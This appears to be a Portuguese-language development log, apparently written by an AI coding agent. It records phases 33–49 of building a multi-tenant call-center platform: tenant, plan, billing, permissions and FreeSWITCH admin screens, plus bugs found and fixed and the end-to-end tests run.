  • /app/monitoramento: badge de conexão (Conectando/Ao vivo/ Reconectando), 3 contadores de sessão (chamadas criadas/atendidas/ encerradas, zeram a cada reload — não são um total histórico), grade de filas ao vivo (contagem de espera via QUEUE_MEMBER_COUNT, traço fantasma até o primeiro evento — sem endpoint de "contagem atual" pra semear um valor inicial), lista de agentes com estado ao vivo (semeada do GET /agents inicial, atualizada via AGENT_STATE_CHANGED), e feed dos últimos 50 eventos com descrição legível por tipo.
  • Menu Tenant: "Monitoramento" deixa de ter 5 sub-itens placeholder (Campanhas/Filas/Agentes/Ramais/Troncos) e vira 1 link direto — o painel novo já cobre filas+agentes+eventos gerais numa página só; abrir em 5 rotas separadas duplicaria a conexão SSE sem necessidade real (mesma decisão já tomada nas Relatórios: 1 href por item de menu, nunca vários apontando pro mesmo lugar).
  • agent/queue do mod_callcenter chegam como "<id>@<domain>" (secao 45, 50) — stripDomain() novo em lib/realtime-types.ts separa o id antes de resolver nome; AGENT_STATE_CHANGED (publicado pela própria API, não pelo FreeSWITCH) já vem com agentId cru, sem sufixo.
  • Testado ponta a ponta contra o pipeline real (não simulado): um cliente socket.io cru confirmou primeiro que a API já entrega o evento certo (AGENT_STATE_CHANGED) ao vivo; a mesma verificação via curl -N direto no proxy SSE confirmou o reencaminhamento; depois, com a página /app/monitoramento aberta de verdade num browser (Puppeteer), disparado POST /agents/me/login e /logout por fora — o badge do agente mudou de Offline pra "Disponível" e voltou, e os dois eventos apareceram no feed ao vivo, tudo em tempo real sem recarregar a página. Smoke test de regressão nas 19 telas anteriores do tenant + platform, todas 200 (a rota de monitoramento mantém uma conexão aberta de propósito, então usa domcontentloaded em vez de networkidle0 no teste).
  • Sem reconciliação/snapshot ao conectar (secao 55: "estado inicial completo, não só eventos a partir de agora") — filas começam sem dado até o primeiro QUEUE_MEMBER_COUNT; agentes começam certos porque semeiam do GET /agents inicial, mas filas não têm equivalente (nenhum endpoint retorna "contagem atual" fora do próprio stream de eventos)
  • Sem monitoramento de ramais (registro/busy, secao 55 completa) nem de campanhas/troncos em tempo real — cobertos só pelos relatórios de período, não por esta tela
  • Reconexão do EventSource é o comportamento padrão do browser (tenta de novo sozinho); o lado do servidor limita a 5 tentativas de reconexão do socket.io real antes de fechar o stream, mas não há backoff exponencial nem um teste de queda de rede prolongada

PHASE 33 — Platform: Clientes > Tenants e Planos (CRUD real, backend

novo) (agente.md secao 29, 56, 126, 141, 168)

  • Lacuna de backend fechada primeiro: não existia NENHUM endpoint pra criar/listar/editar tenant nem plano até aqui — só via script/ seed ad hoc (a própria Acme foi criada assim numa sessão anterior, sem deixar rastro reproduzível). Dois controllers novos: TenantsController (/tenants, tenants.manage/.view) e PlansController (/plans, pricing.manage), ambos platform-only (isPlatformUser, mesmo padrão de billing).
  • POST /tenants cria o tenant e o primeiro usuário (Tenant Admin) numa transação só (secao 141: sem esse usuário o tenant fica inacessível) — Tenant.create + User.create + TenantMembership + UserRole(tenant_admin), senha gerada (generateStrongPassword) e devolvida em texto puro só nesta resposta (mesmo padrão de "revela uma vez" de Ramais/SIP). telephonyDomain fixo em b2bcall.local (decisão já tomada na PHASE 08 — sem multi-domínio real ainda).
  • Bug real, achado testando o próprio endpoint antes de expor no frontend: GET /tenants calculava memberCount com tenantMembership.groupBy numa query sem contexto de tenant nenhum — tenant_memberships tem FORCE RLS (secao 32), então nem platform admin enxerga uma linha sequer sem app.current_tenant_id setado; o campo sempre voltava 0. Corrigido abrindo o contexto de RLS de cada tenant um de cada vez (Promise.all de withTenantContext por tenant) — aceitável numa tela de administração, não é hot path.
  • Frontend: /platform/clientes/tenants (lista com busca, badge de status próprio — não reusa StatusBadge, mesma cautela de gênero já aplicada em AgentStateBadge: "Ativo" de tenant não é "Ativa" de campanha), /tenants/new (cria tenant+admin, revela senha temporária uma vez), /tenants/:id (troca status/plano, mostra os limites do plano selecionado ao vivo antes de salvar). /platform/clientes/planos (cards com todos os limites, criar e editar inline — campo de limite em branco = sem limite, nunca zero).
  • Testado ponta a ponta contra a API real: criado plano "Profissional" (50 ramais/agentes, resto sem limite) → criado tenant "Beta Corp Telecom LTDA" com admin admin@beta.b2bcall.local, senha revelada uma vez → detalhe do tenant → trocado plano pra "Profissional" → salvo → confirmado via API que persistiu (GET /tenants/:id retornando o plano novo). Smoke test de regressão nas 19 telas do tenant + tarifas, todas 200.
  • "Clientes > Assinaturas" e "> Quotas" continuam "em breve" — SubscriptionsController/PlanVersionsController já existem (PHASE 22) mas sem tela; Quotas ficou parcialmente coberta pelos limites do plano já visíveis no detalhe do tenant, sem uma tela dedicada de consumo-vs-limite ainda (esperando Billing > Consumo, que depende do mesmo seletor de tenant)
  • Sem exclusão/soft-delete de tenant nem de plano pela UI (só suspender via status) — decisão deliberada, mesma cautela de qualquer ação destrutiva em dado de cliente real
  • Plan.key não pode ser editado depois de criado (só os limites) — não implementado, key normalmente não deveria mudar mesmo

PHASE 34 — Platform: Sistema > Usuários/Auditoria, Infraestrutura >

Saúde (agente.md secao 148, 150-151, 168, 187)

  • GET /platform/users (novo) — lista TODOS os usuários da plataforma, cross-tenant; users não tem RLS (identidade global, secao 148), consulta direta sem withTenantContext. PATCH /platform/users/:id/status desabilita/reativa (login() já checava status === "ACTIVE" desde a PHASE 04 — o toggle tem efeito real, não é só cosmético). Botão desabilitado na UI pra qualquer usuário com role de plataforma, de propósito (evita se trancar fora sem querer).
  • GET /platform/audit-log (novo) — últimos 200 eventos de audit_logs (também sem RLS, linha imutável precisa sobreviver ao tenant), nomes de usuário/tenant resolvidos numa segunda consulta em lote.
  • GET /platform/health (novo) — Postgres/Redis (reusa a mesma lógica de /health/ready) + FreeSWITCH via uma conexão ESL avulsa (connect → espera até 2.5s → desconecta, sem manter estado — apps/ api não tem uma conexão ESL permanente como fs-events/fs-config).
  • Achado de arquitetura, não um bug: o check de FreeSWITCH sempre falha neste ambiente — apps/api roda no host, e a porta 8021 (Event Socket) é deliberadamente não publicada pro host (secao 184, decisão da PHASE 01/05). Confirmado com nc -zv localhost 8021 → connection refused, apesar do container b2bcall-freeswitch estar healthy. Documentado explicitamente na própria tela (/platform/infraestrutura/saude) em vez de deixar parecer que algo está quebrado — os serviços que falam com o FreeSWITCH de verdade (fs-events/fs-config/predictive-dialer) rodam dentro da rede Docker e não têm esse problema.
  • Frontend: /platform/sistema/usuarios (lista+busca+toggle), /platform/sistema/auditoria (lista+busca, somente leitura), /platform/infraestrutura/saude (3 cards com latência + botão "verificar de novo").
  • Testado ponta a ponta contra a API real: os 3 usuários reais da plataforma (Beta Corp, Acme, Platform Super Admin) listados corretamente com tipo/status certos; audit log mostrando eventos reais (LOGIN, LOGIN_FAILED, TENANT_CREATE) desta própria sessão de testes, inclusive uma referência órfã a um usuário apagado numa sessão anterior (fallback pro UUID cru confirmado, comportamento correto de audit trail imutável); saúde mostrando Postgres/Redis OK e FreeSWITCH "Falhou" com a explicação certa. Smoke test de regressão nas 19 telas do tenant + tarifas, todas 200.
  • "Sistema > Permissões" e "> Configurações" continuam "em breve" — Permissões teria só leitura útil por ora (RBAC é system-defined, sem UI de criar role customizada ainda); Configurações nunca teve escopo definido na especificação além do nome
  • "Infraestrutura > FreeSWITCH/SIP Profiles/Nodes" continuam "em breve" — precisam de introspecção real via ESL (getChannels/getRegistrations/getGateways/getQueues da TelephonyProvider, todos tipados como unknown ainda) exposta por endpoint; mais arriscado que o check de saúde (conexão avulsa × dado estruturado de verdade), não tentado nesta fase
  • "IA > Providers/Modelos/Uso/Custos" (visão de plataforma) continuam "em breve" — o tenant já tem BYOK completo (PHASE 31); a versão platform-wide (ver GLOBAL, agregar uso/custo entre tenants) não foi construída ainda

PHASE 35 — Platform: Billing > Fechamentos e Relatórios (agente.md

secao 134-139, 168)

  • Lacuna de backend fechada primeiro: GET /billing/periods e GET /billing/statements só serviam o próprio tenant do JWT — sem uso pra um platform admin escolhendo um tenant arbitrário (a mesma exceção já resolvida em Subscriptions na PHASE 22, só não tinha sido replicada aqui ainda). Adicionado GET /billing/periods/by- tenant/:tenantId e GET /billing/statements/by-tenant/:tenantId (mesmo padrão), e GET /billing/statements/:id ganhou um ?tenantId= opcional só aceito de quem tem role de plataforma (nunca confiado sem essa checagem, secao 31).
  • Frontend: /platform/billing/fechamentos (seletor de tenant via ?tenantId= na própria URL — sem isso, 4 itens de menu apontariam pro mesmo lugar; um seletor dentro da página resolve sem duplicar rota) — lista períodos, fecha um novo (intervalo de datas), reabre um fechado com motivo obrigatório. /platform/billing/relatorios — lista statements por tenant, detalhe com itens por categoria + subtotal/ajustes/total. Nunca chamado de "nota fiscal" na UI (PRODUCT.md).
  • Bug real, achado testando o fluxo completo: fechar um período de 01/08 a 31/08 mostrava "31 de jul." a "30 de ago." na tela — meia-noite UTC de uma data-only vira o dia anterior quando formatada no timezone local do servidor (America/Sao_Paulo, UTC-3). formatDate (local) está certo pra timestamps de verdade (criado em, gerado em), mas errado pra fronteiras de calendário. Corrigido com formatDateUTC novo em lib/format.ts, usado só onde o valor é uma fronteira de período, não um instante.
    • Achado incidental durante a investigação (não um bug de produto): um 404 na tela de detalhe do statement era eu mesmo esquecendo de reiniciar apps/api depois de editar o get() do controller — confirmado isolando com um cliente Prisma direto (achou a linha sem problema) antes de suspeitar da camada HTTP.
  • Testado ponta a ponta contra a API real: fechado um período de agosto/2026 pro tenant Acme (sem assinatura/price book atribuído ainda, então R$ 0,00 — honesto, não um erro), aparece em Fechamentos com as datas certas, gera um statement visível em Relatórios, detalhe mostra 0 itens/subtotal/total corretos. Smoke test de regressão nas 19 telas do tenant + 8 telas platform, todas 200.
  • "Billing > Consumo" continua "em breve" — distinção de escopo com "Relatórios" nunca ficou 100% clara na especificação (secao 138 vs 135); vai depender de decidir se é uma view de uso corrente (período aberto) ou se sobrepõe com o dashboard de plataforma
  • Sem exclusão de statement nem edição manual de item — statements são gerados, nunca editados à mão (consistente com "fechamento imutável", secao 137)

PHASE 36 — Platform: Sistema > Permissões (agente.md secao 142-145,

  • GET /platform/roles (novo) — roles do sistema com as permissions de cada uma + catálogo completo de permissions. roles/ permissions não têm RLS (catálogo global, vem do seed). Só leitura — RBAC é system-defined (packages/auth/src/seed.ts), sem endpoint de criar/editar role customizada ainda.
  • Frontend: /platform/sistema/permissoes — um card por role (nome, key, escopo Plataforma/Tenant, badges com cada permission) + tabela do catálogo completo de permissions com descrição.
  • Testado ponta a ponta contra a API real: as 4 roles do sistema (platform_super_admin 33 permissions, tenant_admin 30, supervisor 17, agent 2) renderizadas corretamente com as permissions certas. Smoke test de regressão nas 19 telas do tenant + 9 telas platform, todas 200.
  • "Sistema > Configurações" continua "em breve" — nunca teve escopo definido na especificação além do nome, mesma pendência já documentada na PHASE 34

PHASE 37 — Frontend: Administração > Usuários e Perfis (tenant)

(agente.md secao 141-145, 169)

  • Lacuna de backend fechada primeiro: POST /users (convidar) — até aqui só dava pra adicionar um usuário a um tenant criando o tenant inteiro (Platform > Clientes > Tenants) ou via script. Se o e-mail já existe na plataforma, só adiciona TenantMembership + UserRole (sem tocar na senha da conta existente); se não existe, cria o User com senha gerada e revelada uma única vez (mesmo padrão de TenantsController.create). PATCH /users/:id/role troca o papel (substitui, não acumula — simplificação deliberada de "1 papel por tenant" mesmo o schema permitindo várias UserRole por par usuário/tenant).
  • GET /roles (novo, tenant-facing) — versão filtrada de /platform/ roles só com as roles de escopo TENANT (Tenant Admin/Supervisor/ Agente); um tenant não precisa saber que platform_super_admin existe.
  • Frontend: /app/administracao/usuarios (convidar com papel, revela senha só quando é conta nova, trocar papel de qualquer membro exceto o próprio usuário logado — trava de segurança deliberada contra se auto-rebaixar/trancar fora sem querer). /app/administracao/perfis — cards com o que cada papel pode fazer, só leitura, mesmo componente visual de Sistema > Permissões (platform) mas com os dados filtrados certos.
  • Testado ponta a ponta contra a API real: convidado supervisor@acme.b2bcall.local (conta nova, senha revelada) com papel Supervisor, convidado agente1@acme.b2bcall.local com papel Agente, depois trocado o papel dele pra Supervisor via PATCH .../role — confirmado via GET /users que persistiu. Perfis mostra as 3 roles de tenant com as permissions certas, sem platform_super_admin na lista. Smoke test de regressão nas 19 telas do tenant + 10 telas platform, todas 200 (alguns timeouts de navegação intermitentes no script de teste — reproduzidos isoladamente como falso-positivo do harness, não da aplicação; toda rota confirmada 200 numa reexecução limpa).
  • Sem remover um usuário do tenant (só trocar papel) — sem endpoint de "remover membership" ainda; desabilitar a conta inteira já existe em Platform > Sistema > Usuários, mas isso afeta todos os tenants dela, não só este
  • Sem trava contra remover o último Tenant Admin de um tenant (ex.: trocar o papel do único admin pra Agente deixaria o tenant sem ninguém com users.manage) — não implementado, mesma classe de risco documentada em outras ações administrativas desta sessão

PHASE 38 — Infraestrutura: apps/api/apps/frontend como services

systemd (fecha um risco documentado desde a PHASE 01)

  • infrastructure/systemd/b2bcall-api.service e b2bcall-frontend.service (+ README.md com instalação/comandos úteis) — os dois processos de host (fora do Docker) agora enabled, sobrevivem a reboot como os containers já sobreviviam via restart: unless-stopped.
  • Achado real, resolvido antes de instalar as units: sem porta fixa, apps/api e apps/frontend disputavam a 3000 por padrão — quem perdesse a corrida crashava (EADDRINUSE, Nest/Fastify sem fallback) em vez de cair pra 3001 como o Next.js faz sozinho. Fixado API_PORT=3000 em .env e PORT=3001 via Environment= direto na unit do frontend — a ordem de start deixa de importar, cada um já nasce na porta certa.
  • Achado real, descoberto testando: PORT=3001 em apps/frontend/.env.local não funciona — o CLI do next dev decide a porta antes desse arquivo ser aplicado (confirmado: com .env.local sozinho, ainda aparecia "Port 3000 is in use, using 3001" mesmo com .env.local correto). Só Environment=/uma variável de ambiente real do processo funciona. Documentado no README pra não recair no mesmo engano depois.
  • Rodam em modo dev (pnpm dev), não build de produção — decisão deliberada (README.md explica: mudar pra next build/tsc && node dist é escopo de "ir pra produção", não de "sobreviver a reboot"), documentada explicitamente em vez de fingir que já é produção.
  • Testado ponta a ponta: parado os processos manuais, instalado e habilitado as duas units, systemctl start na ordem api→frontend (a ordem já não importa mais, mas testado assim mesmo) — os dois subiram na porta certa sem nenhum fallback nem crash, journalctl -u confirma logs limpos com SyslogIdentifier, smoke test de regressão nas 19 telas do tenant + platform via os processos supervisionados por systemd, todas 200.
  • Achado incidental, explica uma flakiness recorrente do próprio processo de teste desta sessão inteira: journalctl confirmou rotas do Next.js dev levando 10-15s pra compilar na primeira visita (Compiled /platform/billing/tarifas in 11.9s) — a causa real dos vários TimeoutError de navegação do Puppeteer vistos ao longo de várias fases anteriores, sempre contornados com um retry simples. Não é um bug, é o modo dev do Next.js funcionando como esperado; registrado na memória do projeto pra não investigar de novo à toa numa sessão futura.
  • Não testado com um reboot de verdade da VM (deliberadamente evitado — reboot é uma ação disruptiva demais pra essa sessão confirmar sozinha); systemctl is-enabled confirma que as units estão registradas pra iniciar no boot, o que é a garantia que o systemd oferece, mas o cenário completo (Docker + Postgres/Redis prontos + as duas units subindo depois) nunca foi observado de ponta a ponta numa reinicialização real
  • apps/api/apps/frontend continuam sem HTTPS/domínio próprio (nginx, pendência original da PHASE 01) — o acesso de teste continua direto na porta 3001 da VM

PHASE 39 — Frontend: Discador > Leads (tela dedicada)

(agente.md secao 67-68, 170)

  • /app/discador/leads — seletor de campanha (o backend já era GET /campaigns/:campaignId/leads, escopado por campanha desde a PHASE 15, sem endpoint "todos os leads de todas as campanhas" — não faz sentido ter um, Lead.campaignId é obrigatório), busca por telefone/nome client-side, adicionar lead individual (mesmo POST já usado pelo wizard), remover com confirmação de 2 cliques. A prévia de 20 leads dentro do detalhe da campanha (PHASE 26) já apontava pra cá ("a lista completa vive em Discador > Leads") — só faltava a tela existir.
  • LEAD_STATUS_LABELS novo (16 valores do enum) — badge própria, sem reusar StatusBadge (mesma cautela de gênero já aplicada em AgentStateBadge/TenantStatusBadge: READY/FAILED/COMPLETED colidiriam com rótulos de campanha que não fazem sentido pra um lead individual).
  • Testado ponta a ponta contra a API real: criada uma campanha de teste (Campanha Teste Leads, DRAFT) só pra ter um campaignId válido, 3 leads adicionados (2 via API, 1 via UI), busca por nome filtrando corretamente pra 1 resultado, remoção confirmada (3 → 2 leads, DELETE retornando 204). Smoke test de regressão nas 19 telas do tenant + platform, todas 200 — desta vez sem nenhum timeout de navegação no meio do caminho (rotas já compiladas de passadas anteriores, consistente com o achado da PHASE 38 sobre compile-on-first-visit do modo dev).
  • "Importações" e "Callbacks" continuam "em breve" — Importações é CSV em lote, que já existe dentro do wizard/detalhe da campanha (PHASE 26), uma tela separada só faria sentido com histórico de importações persistido (não existe hoje, cada import é só um resumo devolvido na hora, não uma linha salva); Callbacks depende de Lead.status = CALLBACK + nextAttemptAt, que o PredictiveDialerEngine já popula (PHASE 16) mas sem tela nenhuma pra visualizar/gerenciar ainda

PHASE 40 — Administração > Configurações (tenant) + últimos gaps de

Usuários (agente.md secao 169)

  • GET/PATCH /tenant-settings: self-service do próprio tenant — só lê/escreve user.tenantId das claims, nunca aceita um tenantId arbitrário no path/body, então não existe forma de um Tenant Admin mexer em outro tenant por aqui (diferente de TenantsController, que é platform-only). Editável: nome fantasia, CNPJ/CPF, fuso, idioma, privacidade de IA. Somente leitura: razão social, código, plano, status, moeda, domínio de telefonia (controlados pela plataforma)
  • Tela /app/administracao/configuracoes — formulário + bloco read-only, mesmo padrão visual das outras telas de Administração
  • DELETE /users/:id — remove só a membership+role do tenant (nunca a conta User, que pode ter acesso a outros tenants). Duas proteções novas (nenhuma existia antes): não deixa remover a si mesmo, e não deixa remover/rebaixar o último Tenant Admin do tenant (isLastTenantAdmin, aplicado também em PATCH /users/:id/role) — sem isso um tenant podia ficar sem ninguém que pudesse gerenciar usuários
  • achado real: o primeiro remove() usava prisma.$transaction([...]) (forma array) pra apagar tenantMembership — como essa tabela tem FORCE RLS (secao 32) e a forma array não abre uma transação com app.current_tenant_id setado, o Prisma devolvia P2025 ("not found") mesmo com a linha existindo (500 pro cliente). Mesma classe de bug já corrigida antes em TenantsController.create. Corrigido trocando pra $transaction(async (tx) => ...) com set_config explícito antes do delete — testado removendo de verdade um usuário de teste (invite → demote self (2 admins) → remove → 204 → sumiu da lista)
  • Testado ponta a ponta: GET/PATCH tenant-settings via curl e via UI (nome fantasia editado, sidebar atualiza na hora), proteção de último-admin confirmada nos dois endpoints (403 nos dois), convite + remoção de um admin temporário confirmados

PHASE 41 — Discador > Callbacks (agente.md secao 78-79, 169)

  • GET /leads/callbacks (tenant-wide, todas as campanhas) + PATCH /leads/callbacks/:id com 3 ações: RESCHEDULE (nova data, rejeitada se não for no futuro), REQUEUE (volta pra READY, dialer pega de novo sem esperar), CANCEL (DO_NOT_CALL) — só atua sobre leads que ainda estão em CALLBACK (RLS + withTenantContext, mesmo padrão já auditado)
  • Tela /app/discador/callbacks — lista com nome da campanha, telefone, tentativas, "remarcado para" com date-time picker inline
  • "Importações" removido do menu (nunca virou tela real, decisão já registrada na PHASE 39: CSV em lote já existe no wizard e no detalhe da campanha, uma tela separada só faria sentido com histórico de import persistido, que não existe) — mesmo princípio já usado em Monitoramento (secao 168-169): não deixar link pra "em breve" quando a funcionalidade de verdade já está em outro lugar
  • Testado ponta a ponta: lead de teste forçado pra CALLBACK via SQL direto (não existe fluxo de produto pra chegar nesse estado sem o dialer rodando uma chamada real), reagendamento rejeitado pro passado (400), aceito pro futuro (200), requeue confirmado (sai da lista de callbacks, volta pra READY), lead de teste removido no final

PHASE 42 — Relatórios > Consumo (tenant, agente.md secao 131-132, 169)

  • GET /reports/consumo — lê os 2 ledgers imutáveis (UsageEvent + AIUsageRecord, os mesmos que o RatingEngine usa pra faturar) e agrega por meter/tipo no período (default: mês corrente). Nunca calcula valor em dinheiro — só quantidade bruta (chamadas, minutos, dias ativos, bytes, tokens), decisão deliberada pra não duplicar o trabalho do RatingEngine fora dele (docs/BILLING.md). Também devolve os limites do plano (maxMonthlyCalls/ maxRecordingStorageGb) pra comparação lado a lado
  • Tela /app/relatorios/consumo — reaproveita InstrumentTile (o mesmo mostrador do dashboard), zeros honestos em vez de esconder seção
  • Testado ponta a ponta: curl retornou os números reais do tenant Acme (2 dias-tronco já ledgerados, resto zerado — nenhuma chamada rodou ainda neste tenant), tela renderizando os mesmos números

PHASE 43 — Platform > Clientes > Assinaturas/Quotas (agente.md secao

126-127, 169) + achado real no dashboard de plataforma

  • achado real (não relacionado às telas novas, achado revisando PlatformOverviewController antes de escrever a versão platform-wide de /reports/consumo): aiUsageThisMonth e recordingStorageBytes no dashboard "Visão Geral" SEMPRE devolviam zero/vazio, não importa quanto uso real existisse — ai_usage_records/recordings têm FORCE RLS (secao 32) e o código rodava prisma.aIUsageRecord.groupBy/ prisma.recording.aggregate direto, sem nenhum app.current_tenant_id setado, então a policy nega tudo silenciosamente (0 linhas, sem erro). Mesma classe de bug já corrigida 2x antes nesta sessão (TenantsController.list, UsersController.remove). Corrigido com o mesmo padrão (loop withTenantContext por tenant, soma no código) — confirmado inserindo um AIUsageRecord de teste direto no Postgres, vendo o número aparecer no endpoint, e removendo o teste depois
  • GET /billing/subscriptions e POST /billing/plan-versions já existiam desde a fase Billing (PHASE 22) sem nenhuma tela — só faltava o frontend. Tela /platform/clientes/assinaturas: escolher tenant, ver histórico de assinaturas (versão/preço/vigência/ciclo/ status), criar uma nova assinatura reaproveitando uma versão de preço existente OU criando uma nova na mesma ação (dois preços nunca sobrescritos, sempre uma versão nova)
  • GET /platform/quotas (novo) — uso vs. limite do plano em TODOS os tenants (ramais/agentes/troncos/filas/campanhas/chamadas-mês/ armazenamento), pra achar quem está perto de estourar sem abrir tenant por tenant. Tela /platform/clientes/quotas destaca em amarelo (>=80%) e vermelho (>=100%), nunca conta "sem limite" como estourado
  • Testado ponta a ponta: fluxo completo de criar assinatura via UI pro tenant Beta Corp (nova versão de preço R$499,90 + assinatura com ciclo dia 15, confirmado na tela e no banco), Quotas mostrando os números reais e corretos dos dois tenants de teste (Acme com 50% de troncos usados, Beta Corp com zero)

PHASE 44 — Platform > Infraestrutura > FreeSWITCH/SIP Profiles/Nodes

(agente.md secao 168-169)

  • GET /platform/freeswitch/channels|profiles|nodes — introspecção ESL de verdade (show channels/show calls/sofia status/ show registrations/status/show gateways), reaproveitando os métodos do FreeSwitchTelephonyProvider já verificados manualmente contra o FreeSWITCH real (packages/telephony). Mesmo padrão de conexão avulsa do PlatformHealthController (connect → comando → disconnect, sem manter ESL permanente só pra tela de admin)
  • Nunca deixa a indisponibilidade do ESL virar 500/503 pro cliente — devolve { ok: false, error } (200), mesma filosofia do timed() do health check. Necessário aqui: nesta VM apps/api roda fora do Docker e a porta 8021 é deliberadamente não publicada no host (agente.md secao 184, docker-compose.yml) — as 3 telas SEMPRE vão mostrar essa mensagem explicada aqui, mesmo com o endpoint 100% funcional (confirmado indiretamente: b2bcall-fs-events, que fala ESL de dentro da rede Docker, está com heartbeat ativo o tempo todo — o FreeSWITCH/ESL está saudável, só inalcançável do host)
  • "Nodes" mostra explicitamente "1 node" (container único, sem clustering) em vez de fingir uma lista — mesma decisão já registrada pro dashboard de plataforma
  • Testado ponta a ponta: os 3 endpoints via curl (200 com {ok:false, error:"Timeout conectando..."}) e as 3 telas via Puppeteer, mostrando a explicação por que falha aqui (mesmo texto já usado em Infraestrutura > Saúde)

PHASE 45 — Platform > IA > Providers/Modelos/Uso/Custos (agente.md

secao 96-103, 124, 169) + achado real de autorização em /ai/models

  • achado real (achado revisando AIModelsController antes de escrever a tela de Modelos): POST /ai/models e DELETE /ai/models/ :id não checavam isPlatformUser quando o provider/modelo era scope=GLOBAL — como a RLS híbrida de ai_models/ai_providers (secao 100, OR tenant_id IS NULL) deixa qualquer tenant ENXERGAR um provider GLOBAL, qualquer Tenant Admin com a permission ai.manage (escopo TENANT) conseguia injetar um modelo no catálogo visível por todos os tenants, ou desabilitar um modelo GLOBAL só sabendo o id — mesma classe de escalação já corrigida em AgentsController (PHASE 27) e já prevenida corretamente em AIProvidersController (o irmão deste controller, que já tinha o check certo). Corrigido com o mesmo padrão: 403 explícito quando o alvo é GLOBAL e quem chama não é platform. Confirmado com um teste de ataque de verdade: tenant Acme tentando anexar um modelo a um provider GLOBAL (403 depois do fix, 201 antes) e apagar um modelo GLOBAL (403 depois, sucesso antes) — e um teste de regressão confirmando que Acme continua livre pra gerenciar o próprio BYOK
  • Platform > IA > Providers/Modelos reaproveitam os mesmos endpoints /ai/providers//ai/models já existentes (só filtram scope GLOBAL na tela, backend já filtra por RLS+isPlatformUser); Modelos expõe os campos de custo unitário (inputCost/outputCost/audioCost) que a tela de tenant nunca mostra, porque só platform precisa cadastrar preço
  • GET /platform/ai-usage (novo) — uso bruto de AIUsageRecord de TODOS os tenants no mês corrente (Uso) + custo estimado casando cada registro com o AIModel correspondente por providerId+externalModelId (Custos). Quando não dá pra casar (provider apagado, custo nunca cadastrado), aquele registro fica de fora da soma e o tenant vem marcado costIncomplete: true — nunca um número inventado (secao 138/233)
  • Testado ponta a ponta: criado provider GLOBAL + modelo com custo real (US$0,00015/tokenin, US$0,0006/tokenout), inserido uso de teste direto no Postgres (100k tokens in + 20k out), confirmado /platform/ai-usage devolvendo US$27,00 exatos (bate com a conta manual) e a tela de Custos mostrando o mesmo número — tudo removido no final

PHASE 46 — Platform > Billing > Consumo + Sistema > Configurações

(fecha a lista inteira de "em breve" do menu Platform, agente.md secao 169)

  • GET /billing/consumo — mesma agregação de /reports/consumo (tenant), só que em loop por todos os tenants (withTenantContext por tenant, mesmo padrão já usado em Quotas/ai-usage). Nunca dinheiro, só quantidade bruta — dinheiro é Billing > Relatórios (BillingStatement, já existia)
  • GET /platform/system-config — Sistema > Configurações nunca teve escopo definido na especificação; decisão desta implementação: painel somente leitura das flags de segurança/infra que já existem como variável de ambiente (DIALER_SIMULATION/ ALLOW_REAL_OUTBOUND_CALLS, secao 186; ESL configurado; storage provider; NODE_ENV), nunca editável por aqui — mudar exige editar o .env e reiniciar o serviço. Nunca expõe segredo nenhum (senha, chave, connection string), só o que já é público conhecimento de quem administra a infra
  • Testado ponta a ponta: /billing/consumo batendo com os mesmos números já vistos em Relatórios > Consumo/Quotas (Acme com 2 dias-tronco), /platform/system-config confirmado mostrando o valor real do .env (DIALER_SIMULATION=true, ALLOW_REAL_OUTBOUND_CALLS=false, ESL configurado)
  • Com isto, todo item do menu Platform tem tela real — zero { label: "X" } sem href restando em platform-shell/nav-data.ts (confirmado por grep). O menu Tenant já tinha zerado essa lista na PHASE 42

PHASE 47 — Relatórios > Chamadas: filtros completos (agente.md secao

  • O backend (CallsController.list) já aceitava todos os filtros (from/to/extensionId/agentId/queueId/campaignId/trunkId/phone/ hangupCause/dispositionId) desde a fase CDR — só a tela nunca expunha o resto além de telefone. Adicionados os 8 campos restantes (data de/até como filtro real de período, não só client-side; ramal/ agente/fila/campanha/tronco/disposição como Select; causa de encerramento como texto livre), cada um refletido na querystring (?queueId=...), mesmo padrão de filtro-via-URL já usado em Leads/ Callbacks/Assinaturas
  • Testado ponta a ponta: selecionar um filtro de fila navega pra ?queueId=<uuid> e a página server-side já busca com esse filtro aplicado (0 chamadas — não existe tráfego real neste tenant ainda, resultado honesto)

PHASE 48 — "Itens sem permissão não aparecem" (agente.md secao 169)

  • getUserPermissionKeys(userId, tenantId?) (novo, packages/auth) — todas as permission keys do usuário no contexto atual, mesma query de userHasPermission só que devolvendo o conjunto inteiro em vez de checar uma. GET /auth/me agora devolve permissionKeys (só leitura adicional, não é decisão de autorização — isso continua sendo o PermissionGuard em cada endpoint, secao 31/146: esconder um item de menu nunca substitui o check no backend)
  • NavLeaf/NavSection ganham campo opcional permission; cada um dos ~35 itens de menu (tenant e platform) anotado com a permission key mínima que o endpoint GET correspondente já exige (ex.: Discador usa campaigns.view, Administração usa users.manage, Infraestrutura usa freeswitch.view). filterNavByPermissions() (novo, nav-types.ts) esconde o item, ou a seção inteira se nenhum filho sobrar
  • achado de arquitetura ao implementar (não um bug, uma restrição já documentada): TenantSidebar/PlatformSidebar/*Topbar são client components que importam TENANT_NAV/PLATFORM_NAV DIRETO (em vez de receber como prop do server layout) porque os ícones (LucideIcon, funções) não são serializáveis através da fronteira RSC — bug real já documentado desde a PHASE 23. Por isso o filtro roda dentro desses wrappers client-side, sobre o array já no bundle, recebendo só permissionKeys: string[] (serializável) como prop
  • Testado ponta a ponta com um supervisor de teste de verdade (convidado, senha trocada, logado via UI): menu mostra só Discador/ Call Center/Telefonia (sem Dialplan, que exige freeswitch.view — supervisor não tem)/Monitoramento/Gravações/IA/Relatórios — a seção Administração inteira some (nenhum dos 3 filhos exige menos que users.manage). Confirmado que a autorização de verdade continua valendo mesmo sem o item no menu: acesso direto a /app/administracao/usuarios continua batendo 403 no backend. Regressão: tenant_admin e platform_super_admin continuam vendo TODO item do próprio menu (sem perder nada)

PHASE 49 — Tela de "Trocar senha" no primeiro acesso (agente.md secao

  1. — achado real reportado pelo usuário testando
  • achado real: todo usuário criado (tenant novo em Clientes > Tenants, ou convite em Administração > Usuários) nasce com mustChangePassword: true (secao 199) — mas POST /api/login simplesmente bloqueava com "use a API /auth/change-password por enquanto", sem nenhuma tela pra fazer isso. Todo primeiro login de qualquer conta nova batia nessa parede. Descoberto pelo usuário tentando logar num tenant que ele mesmo criou
  • Corrigido: POST /api/login agora grava o cookie de sessão mesmo com mustChangePassword: true (única forma de chamar /auth/change-password autenticado depois) e devolve o flag pro client, que manda pra /trocar-senha em vez de mostrar erro. Tela nova: senha temporária + nova senha (2x, valida no client que batem e que tem 12+ caracteres) → POST /auth/change-password → mesma decisão platform/tenant do login normal (/api/post-login, reaproveitado)
